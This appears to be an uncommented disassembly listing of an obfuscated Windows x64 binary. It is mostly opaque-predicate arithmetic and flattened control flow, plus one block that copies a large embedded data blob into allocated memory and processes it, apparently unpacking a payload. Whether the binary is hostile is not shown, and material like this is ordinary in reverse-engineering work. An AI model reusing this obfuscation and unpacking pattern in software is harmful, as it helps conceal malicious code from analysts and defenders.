and ebx, 0x55e367ff
and edx, 0xaa1c9800
or edx, ebx
xor edx, 0xaa1c9800
or edx, ecx
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor dl, cl
xor cl, al
xor cl, 1
xor al, cl
and al, cl
mov ecx, eax
xor cl, 1
mov r8d, edx
mov ebx, ecx
xor cl, dl
xor dl, 1
and r8b, al
and bl, dl
or bl, r8b
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x2f2f8f5e
mov ecx, 0x3dd4e11f
cmovne eax, ecx
test dl, 1
mov ecx, 0x2f2f8f5e
cmovne ecx, eax
test bl, bl
jmp 0x1401a26bd
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xa7ec0404
and edx, ecx
or ecx, 0x5813fbfb
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2f576522
and ebx, 0x80a80004
or ebx, esi
or ecx, edi
and edi, 0x2f576522
and edx, 0xd0a89add
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5813fbfb
and ecx, 0xa7ec0404
or ecx, edx
mov r9d, ecx
not r9d
mov edx, ecx
or edx, 0x8afec0bd
mov edi, edx
not edi
mov esi, ecx
xor esi, 0x75013f42
and esi, ecx
mov eax, esi
not eax
mov ebx, edx
and ebx, 0xdf5089e7
and edi, 0x20013600
or edi, ebx
or edx, eax
and eax, 0xdf5089e7
and esi, 0x20af7618
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0xe2925cf8
and edx, 0x1d6da307
or edx, eax
mov edi, edx
xor edi, 0xc0044
and r9d, 1
xor ecx, 0xfffffffe
or ecx, r9d
mov eax, ecx
not eax
and eax, 0x8bf0020e
and ecx, 0x740ffdf1
or ecx, eax
mov eax, ecx
xor eax, 0x140d61e0
xor edx, 0x979363bb
xor ecx, 0x8bf0020e
mov ebx, edx
and ebx, 0xe8629c11
and edi, 0x179d63ee
or edi, ebx
or edx, ecx
and ecx, 0xe8629c11
and eax, 0x179d63ee
or eax, ecx
xor eax, edi
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0x2566b435
and ecx, edx
not edx
and edx, 0x2164a400
and eax, 0x4021035
or eax, edx
xor eax, 0x4021035
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x9a14d8d5
and ecx, 0x65eb272a
or ecx, eax
xor ecx, 0x408d931f
sete r9b
setne cl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, cl
mov r8d, eax
not r8b
and cl, bl
or bl, r9b
xor bl, 1
and dl, r9b
or dl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
not cl
and cl, al
or al, dl
and dl, r8b
or dl, cl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x6c4b4f07
mov ebx, 0x97ab0093
cmovne edx, ebx
test al, al
mov eax, 0x6c4b4f07
cmovne edx, eax
test cl, 1
jmp 0x1401a2243
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x52c4236b
and edx, 0xad3bdc94
or edx, ecx
mov edi, edx
xor edi, 0x80098010
xor edx, 0x40800022
or ebx, 0xc099f43e
mov ecx, ebx
not ecx
or edx, 0x2d640ac1
and edx, 0x6df45ee7
and edi, 0x8009a018
or edi, edx
and ebx, 0x6df45ee7
and ecx, 0x12020100
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x3f660bc1
and ecx, 0xc099f43e
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xb714dbd7
and ecx, 0x48eb2428
or ecx, edx
xor ecx, 0x48eb2429
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9176206f
and ecx, 0x6e89df90
or ecx, edx
mov edx, ecx
xor edx, 0x60885990
xor ecx, 0x10400021
and ecx, 0x1e418621
and edx, 0xe1be79de
or edx, ecx
mov ecx, edx
xor ecx, 0x6018200
xor edx, 0xe1be79de
mov ebx, edx
and ebx, 0x98704571
and ecx, 0x678fba8e
or ecx, ebx
xor ecx, 0x98704571
xor edx, ecx
test edx, ecx
setne r10b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
xor r10b, r9b
and r10b, r9b
mov ebx, r10d
xor bl, 1
mov edx, r10d
and dl, bl
mov eax, edx
xor al, 1
xor dl, r10b
or al, bl
xor al, 1
or al, dl
or bl, r10b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, r8b
xor al, 1
mov edx, r8d
xor dl, r9b
and dl, r8b
xor cl, r9b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x1dd7024c
mov ebx, 0xa0c94b87
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x1dd7024c
jmp 0x1401a26bd
mov eax, 0xa6556530
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp byte [rbp - 0x19], 0
mov eax, 0xe086f81
mov ecx, 0x2e647d8d
jmp 0x14019970b
mov eax, 0xdab0b4ee
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x1614516
mov ebx, ecx
and ebx, 0x1a128080
or ebx, edx
xor ebx, 0x1a128080
and ecx, 0xe48c3a69
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe48c3a69
and ecx, 0x1b73c596
or ecx, edx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x7114b976
mov ebx, ecx
and ebx, 0x8eeb4689
or ebx, edi
mov edi, ebx
not edi
and edi, 0x8eeb4688
and ebx, 0x7114b977
or ebx, edi
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa06d0092
and ecx, 0x5f92ff6d
or ecx, edx
mov edi, ecx
xor edi, 0x990e064
xor ecx, 0xa06d0092
mov edx, ebx
not edx
mov esi, edx
and esi, 0x76231f9b
and ebx, 0x89dce064
or ebx, esi
or edx, ecx
and ecx, 0x76231f9b
and edi, 0x89dce064
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xea3f2cc3
and ecx, edx
and edx, 0x15c0d33c
or edx, ebx
mov ebx, edx
xor ebx, 0x11401024
xor edx, 0xea3f2cc3
mov edi, ecx
not edi
mov esi, edx
and esi, 0x484c79b
and ebx, 0xfb7b3864
or ebx, esi
or edx, edi
and edi, 0x484c79b
and ecx, 0xfb7b3864
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xda53e79f
and ecx, 0x25ac1860
or ecx, edx
xor ecx, 0x25ac1860
sete r8b
setne r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r10d, eax
xor r10b, r9b
mov edx, eax
xor dl, r8b
and dl, al
and bl, r9b
and al, r8b
or al, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ecx, r10d
xor cl, dl
and cl, r10b
and dl, r10b
xor r10b, 1
and al, r10b
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x3e3e2b80
mov ebx, 0x2706fd47
cmovne edx, ebx
test cl, cl
mov ecx, 0x3e3e2b80
cmove edx, ecx
test al, al
cmovne edx, ebx
jmp 0x1401a2246
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov eax, edi
not eax
mov edx, eax
and edx, 0x24188753
mov ecx, edi
and ecx, 0xdbe778ac
or ecx, edx
mov edx, ecx
xor edx, 0x415080
xor ecx, 0x4100052
mov esi, eax
or esi, 0x84f172d6
mov ebx, esi
not ebx
or ecx, 0x38040429
and ecx, 0xbcb4247f
and edx, 0x415280
or edx, ecx
and esi, 0xbcb4247f
and ebx, 0x430a8900
or ebx, esi
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x7b0e8d28
and ebx, 0x84f172d7
or ebx, ecx
and eax, 0x12a4d957
and edi, 0xed5b26a8
or edi, eax
mov eax, edi
xor eax, 0xed5b26a8
xor edi, 0x12a4d957
and edi, ebx
not ebx
and eax, ebx
or edi, eax
xor ebx, edi
test ebx, edi
setne dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov ebx, r8d
xor bl, dl
xor bl, 1
or r9b, bl
mov eax, r9d
xor al, 1
or dl, r8b
xor dl, 1
and bl, r8b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
and al, r9b
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
and cl, bl
or al, cl
mov ecx, r9d
and cl, bl
xor bl, r9b
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x38605f78
mov edx, 0xf8cbe7e6
cmovne ecx, edx
test bl, 1
mov edx, 0x38605f78
cmovne edx, ecx
test al, 1
cmove edx, ecx
jmp 0x1401a2246
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebx, ecx
xor ebx, 0xfffffffe
and ebx, ecx
or ecx, 1
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xd58ceddf
mov edx, eax
and edx, 0x2a731220
or edx, esi
or ecx, edi
and edi, 0xd58ceddf
and ebx, 0x2a731220
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
not ecx
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne al
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
mov r8d, eax
and r8b, bl
mov edx, r9d
and dl, cl
or dl, r8b
xor bl, dl
and bl, dl
or al, r9b
xor al, 1
xor cl, r9b
and cl, r9b
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbddac9fa
mov ebx, 0x82065f3e
cmovne ecx, ebx
test dl, 1
mov edx, ecx
mov ebx, 0xbddac9fa
cmovne edx, ebx
test al, 1
cmovne edx, ecx
jmp 0x1401a2246
mov eax, 0x747b9874
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
or ecx, 0x81dd8c44
mov edx, ecx
not edx
mov eax, ebx
xor eax, 0x7e2273bb
and eax, ebx
mov edi, eax
not edi
mov esi, ecx
and esi, 0x24812fd4
and edx, 0x5a22502b
or edx, esi
or ecx, edi
and edi, 0x24812fd4
and eax, 0xdb7ed02b
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2e4be299
and ecx, 0xd1b41d66
or ecx, eax
mov eax, ecx
xor eax, 0xaf966edc
and eax, ebx
not ebx
xor ecx, 0x50699123
and ebx, ecx
or eax, ebx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1402656c4], 0xa
setl dl
xor cl, dl
mov ebx, ecx
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
or al, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x921ea30e
mov ebx, 0x4007ab21
cmovne edx, ebx
test al, al
mov eax, 0x921ea30e
cmovne edx, eax
test cl, cl
cmove edx, ebx
mov eax, edx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
not esi
mov edi, esi
and edi, 0x71ddcb5c
mov ecx, edx
and ecx, 0x8e2234a3
or ecx, edi
mov edi, ecx
xor edi, 0x6203022
xor ecx, 0x3055cb04
mov ebx, esi
or ebx, 0xb857cf84
or ecx, 1
and ecx, 0xb857cf85
and edi, 0x47a8307a
or edi, ecx
and ebx, 0xb857cf85
xor ebx, edi
and esi, 0xc35fe6c9
and edx, 0x3ca01936
or edx, esi
mov ecx, edx
xor ecx, 0x3ca01936
xor edx, 0xc35fe6c9
and edx, ebx
not ebx
and ecx, ebx
or edx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, r9d
and bl, al
and cl, r8b
or cl, bl
xor r9b, al
mov ebx, eax
xor bl, r8b
or al, r8b
xor al, 1
or al, bl
mov edx, r9d
xor dl, al
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
xor cl, 1
mov ebx, eax
and bl, dl
mov r8d, eax
xor r8b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r8b
xor bl, cl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xb1e39057
mov edx, 0x2128239f
cmovne eax, edx
test cl, 1
mov ecx, 0xb1e39057
cmovne ecx, eax
test bl, 1
jmp 0x1401a26bd
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
mov ebx, edx
and ebx, eax
xor edx, eax
or edx, ebx
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl r8b
cmp ecx, 9
setg cl
and dl, cl
mov ebx, r8d
and bl, al
or bl, dl
xor bl, 1
or bl, cl
xor cl, al
not cl
and cl, al
xor al, r8b
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor cl, 1
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xa9769ff8
mov ebx, 0xbe5bf35d
cmovne ecx, ebx
test al, al
mov eax, 0xa9769ff8
cmovne ecx, eax
test dl, 1
cmove ecx, ebx
jmp 0x1401a26c0
mov eax, 0xcfe11bd5
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xd542d17
mov edx, ecx
xor edx, 0xd542d17
and edx, ecx
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x42a8df34
and edx, 0xbd5720cb
or edx, ebx
mov ebx, edx
xor ebx, 0xb0030ddd
and edi, 0xd06dae9
and ecx, 0xf2f92516
or ecx, edi
mov edi, ecx
xor edi, 0xf2f92516
xor edx, 0x4ffcf222
and edi, edx
xor ecx, 0xd06dae9
and ecx, ebx
or ecx, edi
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r10b
and cl, al
mov ebx, ecx
xor bl, 1
or bl, cl
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov ecx, r9d
and r8b, r10b
and al, r9b
mov edx, r10d
and dl, r9b
xor r10b, r9b
or r9b, bl
xor cl, bl
xor cl, 1
and cl, bl
mov ebx, r9d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r9b
xor cl, 1
or cl, bl
or al, r8b
or r10b, dl
mov edx, r10d
xor dl, al
xor al, 1
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xd8709751
mov edi, 0xa78f926b
cmovne eax, edi
test dl, 1
mov ecx, eax
cmovne ecx, edi
test bl, 1
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
xor ebx, 0xa0c68e6d
and ebx, edx
or edx, 0x5f397192
mov edi, ebx
not edi
mov esi, edx
and esi, 0x794ef4cf
and ecx, 0x80800a20
or ecx, esi
or edx, edi
and edi, 0x794ef4cf
and ebx, 0x86b10b30
or ebx, edi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x92466df4
and edx, 0x6db9920b
or edx, ecx
mov ebx, edx
xor ebx, 0x48531442
xor edx, 0x3280e399
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xa7ac0aa5
and ebx, 0x5853f55a
or ebx, edx
mov edx, ebx
xor edx, 0x5010d05b
xor ebx, 0xa7ac0aa4
mov esi, ecx
and esi, 0x2bef25a0
and edi, 0xd410da5e
or edi, esi
or ecx, ebx
and ebx, 0x2bef25a0
and edx, 0xd410da5f
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x5f9d3636
and edx, ecx
and ecx, 0xa062c9c9
or ecx, ebx
xor ecx, 0xa062c9c9
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x29951f05
and ecx, 0xd66ae0fa
or ecx, edx
mov edx, ecx
xor edx, 0x126800ca
xor ecx, 0x21940501
and ecx, 0xe596e531
and edx, 0x1a691ace
or edx, ecx
xor edx, 0x1a691ace
sete bl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl cl
mov eax, ecx
xor al, dl
xor al, 1
or al, r8b
and dl, cl
and bl, r8b
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
xor dl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x5d427808
mov ebx, 0x5d0c3b5c
cmovne eax, ebx
test cl, cl
mov ecx, 0x5d427808
cmovne ecx, eax
test dl, 1
cmove ecx, eax
mov eax, ecx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x80418000
mov ebx, ecx
and ebx, 0x280624d
or ebx, edx
xor ebx, 0x280624d
and ecx, 0x7d3e1db2
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x84eef96a
and ecx, 0x7b110695
or ecx, edx
mov ebx, ecx
xor ebx, 0xf9d0e4d8
mov edx, ecx
xor edx, 0xf9d0e4d9
and edx, ebx
xor ecx, 0xc1a23
and ecx, 0xd84cde3b
and ebx, 0x27b321c4
or ebx, ecx
mov edi, ebx
xor edi, 0x1030101
mov ecx, edx
not ecx
xor ebx, 0xd84cde3a
mov esi, ecx
and esi, 0x26f0b6ec
and edx, 0xd90f4913
or edx, esi
or ecx, ebx
and ebx, 0x26f0b6ec
and edi, 0xd90f4913
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg cl
mov ebx, r9d
or bl, cl
xor bl, 1
mov eax, r9d
xor al, cl
not al
and al, cl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
and r8b, r10b
or r10b, r9b
and cl, r9b
or cl, r8b
xor cl, 1
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x2128239f
mov edi, 0xa225b46b
cmovne eax, edi
test dl, 1
mov ecx, eax
cmovne ecx, edi
jmp 0x1401a1a3b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xee18a8c4
mov edi, ecx
and edi, 0x11e7573a
or edi, edx
xor edi, 0x11e7573a
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x75a203d3
and edx, 0x8a5dfc2c
or edx, edi
xor edx, 0x8a5dfc2c
and ebx, 0x1ca42b1a
and ecx, 0xe35bd4e5
or ecx, ebx
xor ecx, 0xe35bd4e5
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
cmp ecx, 0xffffffff
setne dl
sete bl
cmp r8d, 9
setg al
cmp r8d, 0xa
setl cl
xor cl, bl
mov r8d, ecx
xor r8b, 1
xor bl, al
and bl, al
xor dl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and cl, r8b
mov edx, ebx
and dl, al
mov r9d, r8d
and r9b, cl
xor cl, r8b
or cl, r9b
xor dl, 1
mov r9d, eax
xor r9b, dl
or dl, al
xor dl, 1
or dl, r9b
xor dl, cl
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x254cfa88
mov ebx, 0xa0dd67b5
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x254cfa88
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x3fcb8de5
and ecx, esi
and esi, 0xc034721a
or esi, edx
mov edx, esi
xor edx, 0x80346202
xor esi, 0x3fcb8de5
mov edi, ecx
not edi
mov ebx, esi
and ebx, 0x4b82111c
and edx, 0xb47deee3
or edx, ebx
or esi, edi
and edi, 0x4b82111c
and ecx, 0xb47deee3
or ecx, edi
xor ecx, edx
not esi
or esi, ecx
mov edx, esi
not edx
mov ecx, esi
or ecx, 0x5d46c47b
mov edi, ecx
not edi
mov ebx, esi
xor ebx, 0xa2b93b84
and ebx, esi
mov eax, ebx
not eax
mov r9d, ecx
and r9d, 0xf7b7d26d
and edi, 0x82980
or edi, r9d
or ecx, eax
and eax, 0xf7b7d26d
and ebx, 0x8482d92
or ebx, eax
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xaf5f75df
and ecx, 0x50a08a20
or ecx, eax
xor ecx, 0xf219b1a5
and esi, 0x7dd9abc0
mov eax, edx
and eax, 0x8226543f
or eax, esi
xor eax, 0x7dd9abc1
and edx, 1
or edx, eax
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x81a5540f
and edx, 0x7e5aabf0
or edx, eax
mov eax, edx
xor eax, 0x81040000
xor edx, 0x38502340
and edx, 0x38f1774f
and eax, 0xc70e88b0
or eax, edx
xor eax, 0xc70e88b0
sete r10b
setne cl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg al
mov ebx, eax
and bl, cl
mov r11d, eax
xor r11b, cl
or r11b, bl
mov r8d, r11d
xor r8b, 1
xor al, r10b
not al
and al, r10b
xor cl, r9b
not cl
and cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, al
xor bl, 1
or bl, dl
and r11b, bl
xor bl, 1
and bl, r8b
or bl, r11b
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xe299e6aa
mov edx, 0x499a24b0
cmovne eax, edx
test cl, 1
mov ecx, 0xe299e6aa
cmovne ecx, eax
test bl, bl
jmp 0x1401a26bd
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x68]
mov qword [rbp - 0x38], rax
mov rcx, qword [rbp - 0x38]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov dword [rbp - 0x2c], 0xa8600
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xf940e10b
and edx, ecx
and ecx, 0x6bf1ef4
or ecx, ebx
mov ebx, ecx
xor ebx, 0x6841e20
xor ecx, 0xf940e10b
mov edi, edx
not edi
mov esi, ecx
and esi, 0x817b80d6
and ebx, 0x7e847f29
or ebx, esi
or ecx, edi
and edi, 0x817b80d6
and edx, 0x7e847f29
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0x2022b86d
and ecx, 0xdfdd4792
or ecx, ebx
xor ecx, 0xdfdd4793
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x8be357d
and ecx, 0xf741ca82
or ecx, edx
mov edi, ecx
xor edi, 0x90008000
xor ecx, 0x8082400
or ebx, 0x9f18e415
mov edx, ebx
not edx
or ecx, 0x40c113e0
and ecx, 0x4fc977e0
and edi, 0x90108015
or edi, ecx
and ebx, 0x4fc977e0
and edx, 0x2026080a
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x60e71bea
and edx, 0x9f18e415
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7b8a3d78
and edx, 0x8475c287
or edx, ecx
mov ecx, edx
xor ecx, 0x8475c201
xor edx, 0x380a2c58
and edx, 0x380a2cde
and ecx, 0xc7f5d321
or ecx, edx
xor ecx, 0xc7f5d321
sete r9b
setne r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl r8b
mov ebx, r10d
or bl, r8b
mov edx, ecx
or dl, r9b
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, ecx
xor al, r9b
and al, cl
and r10b, r8b
and cl, r9b
or cl, r10b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov edx, ecx
xor dl, bl
test cl, 1
mov eax, 0xce0743c7
mov edi, 0x411fef6b
cmovne eax, edi
mov rcx, qword [0x140265060]
test bl, 1
mov ebx, 0xce0743c7
cmovne eax, ebx
mov qword [rbp - 0x28], rcx
test dl, 1
cmove eax, edi
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x555bc86b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xbeab638e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
mov edi, ecx
xor edi, 0xecafc255
and edi, edx
mov ebx, ecx
and ebx, 0x13503daa
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0x13503dab
and ebx, 0xecafc254
or ebx, edi
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
mov edx, ecx
not edx
and edx, 0xba038486
and ecx, 0x45fc7b79
or ecx, edx
mov edi, ecx
xor edi, 0x45500260
mov edx, ebx
not edx
xor ecx, 0xba038486
mov esi, edx
and esi, 0x82acf999
and ebx, 0x7d530666
or ebx, esi
or edx, ecx
and ecx, 0x82acf999
and edi, 0x7d530666
or edi, ecx
xor edi, ebx
not edx
